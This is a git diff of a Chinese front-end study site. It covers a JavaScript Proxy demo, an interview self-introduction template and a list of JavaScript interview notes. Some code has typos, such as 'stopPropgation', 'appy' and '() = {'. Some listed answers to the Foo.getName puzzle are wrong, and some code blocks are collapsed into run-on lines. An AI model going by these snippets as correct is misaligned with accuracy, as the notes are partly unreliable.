// dom.mb()
|
||||
// console.log(dom)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
进阶案例:控制台查看输出结果
|
||||
</div>
|
||||
)
|
||||
}
|
||||
}, []);
|
||||
|
||||
return <div>进阶案例:控制台查看输出结果</div>;
|
||||
};
|
||||
```
|
||||
|
||||
### 代理模式
|
||||
@ -292,21 +305,21 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
// 普通私密信息
|
||||
const baseInfo = ['name', 'age', 'career']
|
||||
const baseInfo = ['name', 'age', 'career'];
|
||||
// 最私密信息
|
||||
const privateInfo = ['avatar', 'phone']
|
||||
const privateInfo = ['avatar', 'phone'];
|
||||
|
||||
// 规定礼物的数据结构由type和value组成
|
||||
const present = {
|
||||
type: '巧克力',
|
||||
value: 60,
|
||||
}
|
||||
type: '巧克力',
|
||||
value: 60,
|
||||
};
|
||||
|
||||
// 相亲男方
|
||||
const user = {
|
||||
isValidated: true,
|
||||
isVIP: false,
|
||||
}
|
||||
isValidated: true,
|
||||
isVIP: false,
|
||||
};
|
||||
|
||||
// 相亲女方
|
||||
const girl = {
|
||||
@ -330,53 +343,48 @@ const girl = {
|
||||
bottomValue: 50,
|
||||
// 记录最近一次收到的礼物
|
||||
lastPresent: present,
|
||||
}
|
||||
};
|
||||
|
||||
// 掘金婚介所推出了小礼物功能
|
||||
const JuejinLovers = new Proxy(girl, {
|
||||
get: function(girl, key) {
|
||||
|
||||
if((baseInfo.indexOf(key) !== -1) && !user.isValidated) {
|
||||
alert('您还没有完成验证哦')
|
||||
return
|
||||
get: function (girl, key) {
|
||||
if (baseInfo.indexOf(key) !== -1 && !user.isValidated) {
|
||||
alert('您还没有完成验证哦');
|
||||
return;
|
||||
}
|
||||
|
||||
// 此处我们认为只有验证过的用户才可以购买VIP
|
||||
if(user.isValidated && privateInfo.indexOf(key) !== -1 && !user.isVIP) {
|
||||
alert('只有VIP才可以查看该信息哦')
|
||||
return
|
||||
if (user.isValidated && privateInfo.indexOf(key) !== -1 && !user.isVIP) {
|
||||
alert('只有VIP才可以查看该信息哦');
|
||||
return;
|
||||
}
|
||||
|
||||
return girl[key]
|
||||
return girl[key];
|
||||
},
|
||||
set: function(girl, key, val) {
|
||||
|
||||
set: function (girl, key, val) {
|
||||
// 最近一次送来的礼物会尝试赋值给lastPresent字段
|
||||
// 需要返回 boolean 判断是否赋值成功
|
||||
if(key === 'lastPresent') {
|
||||
if(val.value < girl.bottomValue) {
|
||||
alert('sorry,您的礼物被拒收了')
|
||||
return false
|
||||
if (key === 'lastPresent') {
|
||||
if (val.value < girl.bottomValue) {
|
||||
alert('sorry,您的礼物被拒收了');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 如果没有拒收,则赋值成功,同时并入presents数组
|
||||
girl.lastPresent = val
|
||||
girl.presents = [...girl.presents, val]
|
||||
return true
|
||||
girl.lastPresent = val;
|
||||
girl.presents = [...girl.presents, val];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
})
|
||||
},
|
||||
});
|
||||
|
||||
export default () => {
|
||||
|
||||
useEffect(() => {
|
||||
console.log(JuejinLovers.name)
|
||||
JuejinLovers.lastPresent = present
|
||||
console.log(JuejinLovers)
|
||||
}, [])
|
||||
console.log(JuejinLovers.name);
|
||||
JuejinLovers.lastPresent = present;
|
||||
console.log(JuejinLovers);
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>hi</div>
|
||||
)
|
||||
}
|
||||
return <div>hi</div>;
|
||||
};
|
||||
```
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 webGL
|
||||
order: 100
|
||||
path: /webgl
|
||||
---
|
||||
|
||||
# 常见问题
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 webGL
|
||||
order: 1
|
||||
path: /webgl
|
||||
---
|
||||
|
||||
# 基础
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 webGL
|
||||
order: 3
|
||||
path: /webgl
|
||||
---
|
||||
|
||||
# threeJS 入门
|
||||
|
@ -8,7 +8,7 @@ group:
|
||||
path: /website
|
||||
---
|
||||
|
||||
## 💊 学习文档
|
||||
# 💊 学习文档
|
||||
|
||||
### TS 学习
|
||||
|
||||
|
12
docs/interview/algorithms.md
Normal file
12
docs/interview/algorithms.md
Normal file
@ -0,0 +1,12 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 算法题
|
||||
|
||||
参考链接:<https://github.com/trekhleb/javascript-algorithms/blob/master/README.zh-CN.md>
|
@ -18,19 +18,14 @@ group:
|
||||
|
||||
举个例子:
|
||||
|
||||
--------------------------------
|
||||
面试官好,我叫dev,18年毕业于东华理工大学软件工程,从大四开始就一直从事前端开发的工作
|
||||
> 面试官好,我叫 XX,18 年毕业于 XXX 大学软件工程,从大四开始就一直从事前端开发的工作
|
||||
> 我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉,自己有从 0-1 大型项目的经验和能力,包括前端项目的自动构建脚本编写,项目服务器发布,基本的 node 接口服务开发。服务器 Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。
|
||||
> 在上家公司是 XXXX 的项目负责人,主要职责是负责从 0-1 视频编辑器的开发和后期维护,还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统,目的是为了高效对接后端接口质量(自动化测试)和解放手动编写接口的工作(通过后端 swagger 文档自动生成包含 ts 注释的接口),其它还负责公司的 UI 组件库的部分开发
|
||||
> 除了开发相关的工作,还有一定的作为 Owner 的项目管理经验:比如需求评审,UI\UX 交互评审,负责小组项目排期,成员之间的协作开发,监督成员之间的 codeReview,敏捷开发推动项目进度等。
|
||||
> 另外我有自己的博客,主要是用来记录在工作中的一些心得,和碰到的问题和解决方案。同时去记录一些学到的新的知识,并把它分享到 sf、csdn、juejin 这类的技术平台上。
|
||||
> 在 github 上....做这件事的原因是,我感觉开源还挺有成就感也挺有趣的
|
||||
|
||||
我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉,自己有从0-1大型项目的经验和能力,包括前端项目的自动构建脚本编写,项目服务器发布,基本的node接口服务开发。服务器Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。
|
||||
|
||||
在上家公司是人工智能创意中心,视频编辑器的项目负责人,主要职责是负责从0-1视频编辑器的开发和后期维护,还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统,目的是为了高效对接后端接口质量(自动化测试)和解放手动编写接口的工作(通过后端swagger文档自动生成包含ts注释的接口),其它还负责公司的UI组件库的部分开发
|
||||
|
||||
除了开发相关的工作,还有一定的作为Owner的项目管理经验:比如需求评审,UI\UX交互评审,负责小组项目排期,成员之间的协作开发,监督成员之间的codeReview,敏捷开发推动项目进度等。
|
||||
|
||||
另外我有自己的博客,主要是用来记录在工作中的一些心得,和碰到的问题和解决方案。同时去记录一些学到的新的知识,早期也发过一些文章再segmentfault和掘金上。
|
||||
在 github 上我还成立了一个自己的组织叫nicecode,主要是用来沉淀一些这些年工作中整合的一些能提升工作效率的方案,比如说:脚手架、git提交校验工具、敏感字过滤库,常见函数方法、还有开发过一款基于 vscode 的代码片段插件。前前后后写了10几个npm包了,做这件事的原因是,我感觉开源还挺有成就感也挺有趣的
|
||||
|
||||
--------------------------------
|
||||
> 目前在学习...
|
||||
|
||||
## 如何粗略判断公司是否靠谱
|
||||
|
||||
@ -46,11 +41,17 @@ group:
|
||||
|
||||
很推荐大家在准备面试的过程中,挖掘出自己擅长的技术内容,然后在面试的过程中,寻找机会引导面试官提问你擅长的技术点。
|
||||
|
||||
## 你最近碰到什么挑战?
|
||||
|
||||
**我(最近的一个时间)在做(怎样的一个产品/程序),这个产品/程序的目的是(帮助用户完成什么事),其中有一个(什么模块),为了实现(什么功能),用到了(什么技术),但是(遇到了什么挑战/难点/bug),我通过(怎样的手段)定位问题所在,问题出现的原因是(简要的点到技术点的描述),我在(至少两个资料来源)上找到了参考,最后基于(怎样的决策标准)决定采用(何种解决方法),运用了(哪种技术),最后成功解决了问题/实现了功能,结果是这个产品/程序(对用户,系统,性能,可用性,资源等产生了何种正面的影响)。下一步,我认为我应该研究(何种更先进的方式),进一步(怎样让产品/程序做得更好)。**
|
||||
|
||||
之前将视频编辑器从 1.0 迁移到 2.0,目的是引用 vue3 和抛弃之前的遗留问题,比如说依赖包的杂糅和重,当时在考虑做视频编辑器的架构,是想直接写成个大组件,通过 props 参数来控制编辑器的功能,后面从性能和易用性来考虑,觉得还是将整体插件化更好,所以将整体架构改成可插拔式。在开发的过程中又发现关于数据传递板块如果通过传统的 props 或者是 vuex 的形式传递,使用起来会非常不方便,所以将它改成发布订阅模式来调用,将整体的数据放在一个 protocol 空间中,再通过各个控制面板的调用去触发,反馈到视频渲染层的监听器与其它对应插件的监听器上。最后实际应用中确实使用起来非常丝滑。这个编辑器的整体架构也使性能上提升了很多。
|
||||
|
||||
### 常见问题答复
|
||||
|
||||
1. 你什么时候入职?
|
||||
|
||||
在职的时候说:需要交接一下手续,大概1-2礼拜。
|
||||
在职的时候说:需要交接一下手续,大概 1-2 礼拜。
|
||||
离职的时候说:确定录用的话,大概一周左右时间可以入职。
|
||||
|
||||
2. 为啥工作换的这么频繁?
|
||||
@ -64,9 +65,10 @@ group:
|
||||
4. 为什么你觉得可以胜任这份工作?
|
||||
|
||||
从三个角度去展开:
|
||||
* 工作经历、项目背景与当前岗位的匹配度
|
||||
* 个人能力模型的匹配度
|
||||
* 突出过往的工作中取得的成绩,竞争力优势
|
||||
|
||||
- 工作经历、项目背景与当前岗位的匹配度
|
||||
- 个人能力模型的匹配度
|
||||
- 突出过往的工作中取得的成绩,竞争力优势
|
||||
|
||||
5. 你的期望薪资是多少?
|
||||
|
||||
@ -78,7 +80,7 @@ group:
|
||||
|
||||
7. 为啥没干多久就离职了?
|
||||
|
||||
两个方面,一个方面是和当初说好的不一样,公司目前使用vue,但是会用 react 重启新项目,我认为做一件事专精很重要。另一方面,加班比较多,项目上线冲进度加班是正常且合理的,但是经常周末需要加班,晚上10-11点走,CTO 倒排压缩开发时长不是很合理,生活和工作太不平衡,我不是很能接受
|
||||
两个方面,一个方面是和当初说好的不一样,公司目前使用 vue,但是会用 react 重启新项目,我认为做一件事专精很重要。另一方面,加班比较多,项目上线冲进度加班是正常且合理的,但是经常周末需要加班,晚上 10-11 点走,CTO 倒排压缩开发时长不是很合理,生活和工作太不平衡,我不是很能接受
|
||||
|
||||
## 谈钱
|
||||
|
||||
@ -92,3 +94,5 @@ group:
|
||||
## 话术技巧参考
|
||||
|
||||
<https://juejin.cn/post/7173316141161381924>
|
||||
<https://juejin.cn/post/6844903869382656008>
|
||||
<https://vue3js.cn/interview/>
|
||||
|
BIN
docs/interview/img/hooks.png
Normal file
BIN
docs/interview/img/hooks.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.4 MiB |
@ -29,20 +29,19 @@ group:
|
||||
2. instanceof 可以判断复杂引用数据类型,但是不能判断基本数据类型
|
||||
3. typeof 能判断基本数据类型,在引用类型中只能判断 function
|
||||
|
||||
> 通用检测数据类型,可以采用Object.prototype.toString.call(),调用该方法,统一返回格式“[object Xxx]” 的字符串
|
||||
> 通用检测数据类型,可以采用 Object.prototype.toString.call(),调用该方法,统一返回格式“[object Xxx]” 的字符串
|
||||
|
||||
### 3种强制类型转换两种隐式类型转换
|
||||
### 3 种强制类型转换两种隐式类型转换
|
||||
|
||||
- parseInt parseFloat number
|
||||
- == - ===
|
||||
|
||||
### 数组方法pop() push() unshift() shift()
|
||||
|
||||
### 数组方法 pop() push() unshift() shift()
|
||||
|
||||
- push() 尾部添加 pop() 尾部删除
|
||||
- unshift() 头部添加 shift() 头部删除
|
||||
|
||||
### ajax请求 get 和 post 的区别
|
||||
### ajax 请求 get 和 post 的区别
|
||||
|
||||
```text
|
||||
post: 1. 传参不同,请求参数放在虚拟载体里面(data对象)、2. 如果服务器端不介入干预,大小没有限制。3. 参数不会暴露在链接上,所以安全性更强,并且post的内容不会被缓存。4. 传参类型不做限制。
|
||||
@ -51,18 +50,23 @@ get: 1. 参数在链接上。2、url链接长度有限制,所以大小有限
|
||||
|
||||
```
|
||||
|
||||
### call 和 apply 的区别
|
||||
### bind、call 和 apply 的区别
|
||||
|
||||
call可以允许多个参数入参,而apply只允许一个参数
|
||||
共同点:都是为了改变 this 的指向而存在
|
||||
|
||||
- object.call(this, obj1,obj2,obj3)
|
||||
- object.apply(this, argument)
|
||||
不同点:
|
||||
|
||||
- call 可以接受多个参数:object.call(this, obj1,obj2,obj3)
|
||||
- bind 可以接受多个参数:object.bind(this, obj1,obj2,obj3)
|
||||
- apply 接受两个参数,一个是指向的对象,一个是需要传递的参数 object.apply(this, ${Array})
|
||||
- call 和 apply 改变上下文 this 指向后,立刻执行该函数,而 bind 不执行
|
||||
|
||||
使用场景:如果参数数量不确定就用 apply,确定就用 call.
|
||||
|
||||
### ajax 请求时,如何解析 json 数据
|
||||
|
||||
|
||||
- 使用eval parse,介于安全性考虑 使用parse 更靠谱
|
||||
- eval 可以解析任何字符串,parse只解析json格式的字符串
|
||||
- 使用 eval parse,介于安全性考虑 使用 parse 更靠谱
|
||||
- eval 可以解析任何字符串,parse 只解析 json 格式的字符串
|
||||
|
||||
### 添加 删除 替换 插入到某个节点的方法
|
||||
|
||||
@ -71,65 +75,61 @@ call可以允许多个参数入参,而apply只允许一个参数
|
||||
- obj.replaceChild()
|
||||
- obj.removeChild()
|
||||
|
||||
|
||||
|
||||
### javascript 同源策略
|
||||
|
||||
- 一段脚本只能读取来自同一来源的穿考核文档的属性,同源:指主机名,协议和端口号的组合
|
||||
|
||||
### 编写一个 b 继承 a 的方法
|
||||
|
||||
|
||||
```javascript
|
||||
function A(name) {
|
||||
this.name = name;
|
||||
this.sayHello = function() {
|
||||
alert(this.name+ "say hello!")
|
||||
}
|
||||
this.sayHello = function () {
|
||||
alert(this.name + 'say hello!');
|
||||
};
|
||||
}
|
||||
|
||||
function B(name, id) {
|
||||
this.temp = A
|
||||
this.temp(name)
|
||||
delete this.temp
|
||||
this.id = id
|
||||
this.checkId = function(ID) {alert(this.id == ID)}
|
||||
this.temp = A;
|
||||
this.temp(name);
|
||||
delete this.temp;
|
||||
this.id = id;
|
||||
this.checkId = function (ID) {
|
||||
alert(this.id == ID);
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 如何阻止事件冒泡和默认事件
|
||||
|
||||
|
||||
```javascript
|
||||
function stopBubble(e) {
|
||||
if (e && e.stopPropagation) {
|
||||
e.stopPropgation ()
|
||||
} else {
|
||||
window.event.cancelBubble = true
|
||||
}
|
||||
return false
|
||||
if (e && e.stopPropagation) {
|
||||
e.stopPropgation();
|
||||
} else {
|
||||
window.event.cancelBubble = true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 谈谈 this 对象的理解
|
||||
|
||||
- this只在调用的时候发生指向确认,它指向什么取决于在什么地方调用。this 指向的就是调用函数的那个对象。
|
||||
- this 一般情况下: 是指全局对象global, 如果作为方法调用,就指向这个对象
|
||||
- this 只在调用的时候发生指向确认,它指向什么取决于在什么地方调用。this 指向的就是调用函数的那个对象。
|
||||
- this 一般情况下: 是指全局对象 global, 如果作为方法调用,就指向这个对象
|
||||
- 对于直接调用 foo 来说,不管 foo 函数被放在了什么地方,this 一定是 window
|
||||
- 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this,所以在这个场景下 foo 函数中的 this 就是 obj 对象(箭头函数则指向window)
|
||||
- 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this,所以在这个场景下 foo 函数中的 this 就是 obj 对象(箭头函数则指向 window)
|
||||
- 对于 new 的方式来说,this 被永远绑定在构造函数上面,不会被任何方式改变 this
|
||||
|
||||
```js
|
||||
class Test {
|
||||
constructor() {
|
||||
console.log(this)
|
||||
console.log(this);
|
||||
}
|
||||
}
|
||||
export default () => {
|
||||
let demo = new Test()
|
||||
}
|
||||
let demo = new Test();
|
||||
};
|
||||
```
|
||||
|
||||
### `location.replace()`与`location.assign()`区别
|
||||
@ -138,117 +138,65 @@ export default () => {
|
||||
location.replace() 的 url 不会出现在 history 中
|
||||
```
|
||||
|
||||
|
||||
### DOM 操作
|
||||
|
||||
```html
|
||||
// 创建节点
|
||||
createDocumentFragment()
|
||||
createElement()
|
||||
createTextNode()
|
||||
|
||||
// 添加 移除 替换 插入
|
||||
appendChild()
|
||||
removeChild()
|
||||
replaceChild()
|
||||
insertBefore()
|
||||
|
||||
// 查找
|
||||
getElementsByTagName()
|
||||
getElementsByName()
|
||||
getElementsByClassName()
|
||||
getElementById()
|
||||
querySelector()
|
||||
querySelectorAll()
|
||||
// 创建节点 createDocumentFragment() createElement() createTextNode() // 添加
|
||||
移除 替换 插入 appendChild() removeChild() replaceChild() insertBefore() // 查找
|
||||
getElementsByTagName() getElementsByName() getElementsByClassName()
|
||||
getElementById() querySelector() querySelectorAll()
|
||||
```
|
||||
|
||||
### JS设置css样式的几种方式
|
||||
### JS 设置 css 样式的几种方式
|
||||
|
||||
```html
|
||||
/* 1.直接设置style属性 */
|
||||
element.style.height = '100px';
|
||||
|
||||
/* 2.直接设置属性 */
|
||||
element.setAttribute('height', '100px');
|
||||
|
||||
/* 3.使用setAttribute设置style属性 */
|
||||
element.setAttribute('style', 'height: 100px !important');
|
||||
|
||||
/* 4.使用setProperty设置属性,通过第三个参数设置important */
|
||||
element.style.setProperty('height', '300px', 'important');
|
||||
|
||||
/* 5.设置cssText */
|
||||
/* 1.直接设置style属性 */ element.style.height = '100px'; /* 2.直接设置属性 */
|
||||
element.setAttribute('height', '100px'); /* 3.使用setAttribute设置style属性 */
|
||||
element.setAttribute('style', 'height: 100px !important'); /*
|
||||
4.使用setProperty设置属性,通过第三个参数设置important */
|
||||
element.style.setProperty('height', '300px', 'important'); /* 5.设置cssText */
|
||||
element.style.cssText += 'height: 100px !important';
|
||||
```
|
||||
|
||||
|
||||
### 阻止默认行为
|
||||
|
||||
```html
|
||||
function stopDefault( e ) {
|
||||
// 阻止默认浏览器动作(W3C)
|
||||
if ( e && e.preventDefault ) {
|
||||
e.preventDefault();
|
||||
} else {
|
||||
// IE中阻止函数器默认动作的方式
|
||||
window.event.returnValue = false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
function stopDefault( e ) { // 阻止默认浏览器动作(W3C) if ( e &&
|
||||
e.preventDefault ) { e.preventDefault(); } else { //
|
||||
IE中阻止函数器默认动作的方式 window.event.returnValue = false; } return false; }
|
||||
```
|
||||
|
||||
### 阻止冒泡
|
||||
|
||||
```html
|
||||
function stopBubble(e) {
|
||||
// 如果提供了事件对象,则这是一个非IE浏览器
|
||||
if ( e && e.stopPropagation ) {
|
||||
// 因此它支持W3C的stopPropagation()方法
|
||||
e.stopPropagation();
|
||||
} else {
|
||||
// 否则,我们需要使用IE的方式来取消事件冒泡
|
||||
window.event.cancelBubble = true;
|
||||
}
|
||||
}
|
||||
function stopBubble(e) { // 如果提供了事件对象,则这是一个非IE浏览器 if ( e &&
|
||||
e.stopPropagation ) { // 因此它支持W3C的stopPropagation()方法
|
||||
e.stopPropagation(); } else { // 否则,我们需要使用IE的方式来取消事件冒泡
|
||||
window.event.cancelBubble = true; } }
|
||||
```
|
||||
|
||||
### Ajax交互过程
|
||||
### Ajax 交互过程
|
||||
|
||||
```html
|
||||
创建XMLHttpRequest对象,也就是创建一个异步调用对象.
|
||||
创建一个新的HTTP请求,并指定该HTTP请求的方法、URL及验证信息.
|
||||
设置响应HTTP请求状态变化的函数.
|
||||
发送HTTP请求.
|
||||
获取异步调用返回的数据.
|
||||
设置响应HTTP请求状态变化的函数. 发送HTTP请求. 获取异步调用返回的数据.
|
||||
使用JavaScript和DOM实现局部刷新.
|
||||
```
|
||||
|
||||
### 考察知识点最广的JS面试题
|
||||
### 考察知识点最广的 JS 面试题
|
||||
|
||||
[https://www.cnblogs.com/xxcanghai/p/5189353.html](https://www.cnblogs.com/xxcanghai/p/5189353.html)
|
||||
|
||||
```html
|
||||
function Foo() {
|
||||
getName = function () { alert(1); }
|
||||
return this;
|
||||
}
|
||||
Foo.getName = function () { alert(2); }
|
||||
Foo.prototype.getName = function () { alert(3); }
|
||||
var getName = function () { alert(4); }
|
||||
function getName () { alert(5); }
|
||||
|
||||
|
||||
/* 写出输出 */
|
||||
Foo.getName(); 3
|
||||
getName(); 5
|
||||
Foo().getName(); 3
|
||||
getName();
|
||||
new Foo.getName();
|
||||
new Foo().getName();
|
||||
new new Foo().getName();
|
||||
function Foo() { getName = function () { alert(1); } return this; } Foo.getName
|
||||
= function () { alert(2); } Foo.prototype.getName = function () { alert(3); }
|
||||
var getName = function () { alert(4); } function getName () { alert(5); } /*
|
||||
写出输出 */ Foo.getName(); 3 getName(); 5 Foo().getName(); 3 getName(); new
|
||||
Foo.getName(); new Foo().getName(); new new Foo().getName();
|
||||
```
|
||||
|
||||
### splice和slice你能说说有啥用和区别吗
|
||||
### splice 和 slice 你能说说有啥用和区别吗
|
||||
|
||||
1. splice:是可以实现数组的增删改查、只对数组生效,会改变原数组
|
||||
2. slice:不光可以截取数组,也可以截取字符串,不会改变原数组
|
||||
@ -258,8 +206,8 @@ new new Foo().getName();
|
||||
1. 类数组不具备数组的方法(slice、splice、filter)
|
||||
2. 类数组是一个普通对象,数组类型是 Array
|
||||
|
||||
### JS 数组深浅拷贝
|
||||
|
||||
### JS数组深浅拷贝
|
||||
#### 浅拷贝
|
||||
|
||||
把一个对象的第一层拷贝到新的对象上去,只拷贝基本数据类型
|
||||
@ -272,8 +220,8 @@ var new_arr = arr.slice();
|
||||
|
||||
new_arr[0] = 'new';
|
||||
|
||||
console.log(arr) // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
console.log(arr); // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr); // ["new", 1, true, null, undefined]
|
||||
|
||||
// concat 实现
|
||||
var arr = ['old', 1, true, null, undefined];
|
||||
@ -282,8 +230,8 @@ var new_arr = arr.concat();
|
||||
|
||||
new_arr[0] = 'new';
|
||||
|
||||
console.log(arr) // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
console.log(arr); // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr); // ["new", 1, true, null, undefined]
|
||||
```
|
||||
|
||||
#### 深拷贝
|
||||
@ -292,62 +240,69 @@ console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
|
||||
```javascript
|
||||
// 简单版:不能拷贝 函数、undefined、symbol 、循环引用的对象
|
||||
var arr = ['old', 1, true, ['old1', 'old2'], {old: 1}];
|
||||
var arr = ['old', 1, true, ['old1', 'old2'], { old: 1 }];
|
||||
|
||||
var new_arr = JSON.parse(JSON.stringify(arr));
|
||||
|
||||
new_arr[0] = 'new';
|
||||
new_arr[3][0] = 'new1';
|
||||
|
||||
console.log(arr) // ["old", 1, true, ['old1', 'old2'], {old: 1}]
|
||||
console.log(new_arr) // ["new", 1, true, ['new1', 'old2'], {old: 1}]
|
||||
console.log(arr); // ["old", 1, true, ['old1', 'old2'], {old: 1}]
|
||||
console.log(new_arr); // ["new", 1, true, ['new1', 'old2'], {old: 1}]
|
||||
|
||||
// 复杂版,可以完美拷贝
|
||||
var deepCopy = function (obj) {
|
||||
if (typeof obj !== 'object') {
|
||||
return
|
||||
if (typeof obj !== 'object') {
|
||||
return;
|
||||
}
|
||||
var newObj = obj instanceof Array ? [] : {};
|
||||
for (var key in obj) {
|
||||
if (obj.hasOwnProperty(key)) {
|
||||
newObj[key] =
|
||||
typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
|
||||
}
|
||||
var newObj = obj instanceof Array ? [] : {};
|
||||
for (var key in obj) {
|
||||
if (obj.hasOwnProperty(key)) {
|
||||
newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
|
||||
}
|
||||
}
|
||||
return newObj
|
||||
}
|
||||
}
|
||||
return newObj;
|
||||
};
|
||||
```
|
||||
|
||||
### 数组去重
|
||||
|
||||
```javascript
|
||||
// filter + indexOf
|
||||
function unique (arr) {
|
||||
var res = arr.filter(function (item, index, array) {
|
||||
return array.indexOf(item) === index;
|
||||
})
|
||||
return res;
|
||||
function unique(arr) {
|
||||
var res = arr.filter(function (item, index, array) {
|
||||
return array.indexOf(item) === index;
|
||||
});
|
||||
return res;
|
||||
}
|
||||
|
||||
//filter + sort
|
||||
function unique (arr) {
|
||||
return arr.concat().sort().filter(function (item, index, array) {
|
||||
return !index || item !== array[index - 1];
|
||||
})
|
||||
function unique(arr) {
|
||||
return arr
|
||||
.concat()
|
||||
.sort()
|
||||
.filter(function (item, index, array) {
|
||||
return !index || item !== array[index - 1];
|
||||
});
|
||||
}
|
||||
|
||||
// ES6
|
||||
function uniqu3 (arr) {
|
||||
return [... new Set(arr)];
|
||||
function uniqu3(arr) {
|
||||
return [...new Set(arr)];
|
||||
}
|
||||
```
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
### 找出数组中的最大值
|
||||
|
||||
```javascript
|
||||
// reduce
|
||||
var arr = [6, 4, 1, 8, 2, 11, 3];
|
||||
|
||||
function max (prev, next) {
|
||||
return Math.max(prev, next)
|
||||
function max(prev, next) {
|
||||
return Math.max(prev, next);
|
||||
}
|
||||
|
||||
console.log(arr.reduce(max));
|
||||
@ -360,54 +315,60 @@ console.log(Math.max.apply(null, arr));
|
||||
//ES6
|
||||
var arr = [6, 4, 1, 8, 2, 11, 3];
|
||||
|
||||
function max (arr) {
|
||||
return Math.max(...arr);
|
||||
function max(arr) {
|
||||
return Math.max(...arr);
|
||||
}
|
||||
|
||||
console.log(max(arr));
|
||||
```
|
||||
|
||||
|
||||
### 数组扁平化
|
||||
|
||||
```javascript
|
||||
var arr = [1, [2, [3, 4]]];
|
||||
|
||||
function flatten(arr) {
|
||||
while (arr.some((item) => Array.isArray(item))) {
|
||||
arr = [].concat(...arr);
|
||||
}
|
||||
|
||||
while (arr.some(item => Array.isArray(item))) {
|
||||
arr = [].concat(...arr);
|
||||
}
|
||||
|
||||
return arr;
|
||||
return arr;
|
||||
}
|
||||
|
||||
console.log(flatten(arr))
|
||||
console.log(flatten(arr));
|
||||
```
|
||||
|
||||
|
||||
### 数据的基本类型
|
||||
|
||||
```javascript
|
||||
1. symbol 2. string 3. number 4. null 5. boolean 6. undefind
|
||||
```
|
||||
|
||||
|
||||
### 数据类型判断
|
||||
|
||||
> 关键语句:Object.prototype.toString.call(value) => [object ${Boolean Number String Function Array Date RegExp Object Error Null }]
|
||||
|
||||
```javascript
|
||||
var class2type = {};
|
||||
|
||||
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'.split(' ').map((item, index) => {
|
||||
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'
|
||||
.split(' ')
|
||||
.map((item, index) => {
|
||||
class2type['[object ' + item + ']'] = item.toLowerCase();
|
||||
})
|
||||
});
|
||||
|
||||
function type (obj) {
|
||||
return typeof obj === 'object' || typeof obj === 'function' ?
|
||||
class2type[{}.toString.call(obj)] || 'object' : typeof obj;
|
||||
function type(obj) {
|
||||
return typeof obj === 'object' || typeof obj === 'function'
|
||||
? class2type[{}.toString.call(obj)] || 'object'
|
||||
: typeof obj;
|
||||
}
|
||||
```
|
||||
|
||||
### 防抖
|
||||
|
||||
原理:创建一个闭包,然后通过调用创建好的函数和入参去执行
|
||||
应用场景是为了防止用户误触,而产生多次事件的触发,根本就是为了节省性能消耗
|
||||
|
||||
```javascript
|
||||
/*
|
||||
* func:需要调用的函数
|
||||
@ -441,6 +402,24 @@ var debounce = function (func, wait, immediate) {
|
||||
}
|
||||
```
|
||||
|
||||
## 节流
|
||||
|
||||
使用场景:把动作中的持续调用设置为固定时间内的调用,比如滚动事件,鼠标移入移出。
|
||||
|
||||
```js
|
||||
const throttle = (fuc, delay) => {
|
||||
let time = null;
|
||||
|
||||
return function () {
|
||||
const currentTime = new Date();
|
||||
|
||||
if (currentTime - time > delay) {
|
||||
fuc.appy(this, arguments);
|
||||
time = currentTime;
|
||||
}
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
### 四则运算符
|
||||
|
||||
@ -454,16 +433,12 @@ var debounce = function (func, wait, immediate) {
|
||||
|
||||

|
||||
|
||||
|
||||
### ‘==’ 和 ‘===’ 有什么区别
|
||||
|
||||
|
||||
== 对比类型不一样会进行类型转换,而 ’===‘ 不会,下图为 ’==‘ 的判断步骤:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
### 什么是闭包?
|
||||
|
||||
定义:函数 A 中有一个函数 B,函数 B 可以访问 A 的变量,那么函数 B 就是闭包。
|
||||
@ -471,6 +446,7 @@ var debounce = function (func, wait, immediate) {
|
||||
- 闭包就是引用其他函数内部变量的函数
|
||||
|
||||
1. 循环中使用闭包解决 `var` 定义函数的问题
|
||||
|
||||
```javascript
|
||||
方法1
|
||||
for (var i = 1; i <= 5; i++) {
|
||||
@ -509,7 +485,7 @@ for (let i = 1; i <= 5; i++) {
|
||||
```js
|
||||
const useCount = () = {
|
||||
let count = 0
|
||||
|
||||
|
||||
const getCount = () => {
|
||||
return count
|
||||
}
|
||||
@ -531,65 +507,74 @@ const useCount = () = {
|
||||
4. 回调函数
|
||||
|
||||
```js
|
||||
const fn = (cb: (name: string) => void) => {
|
||||
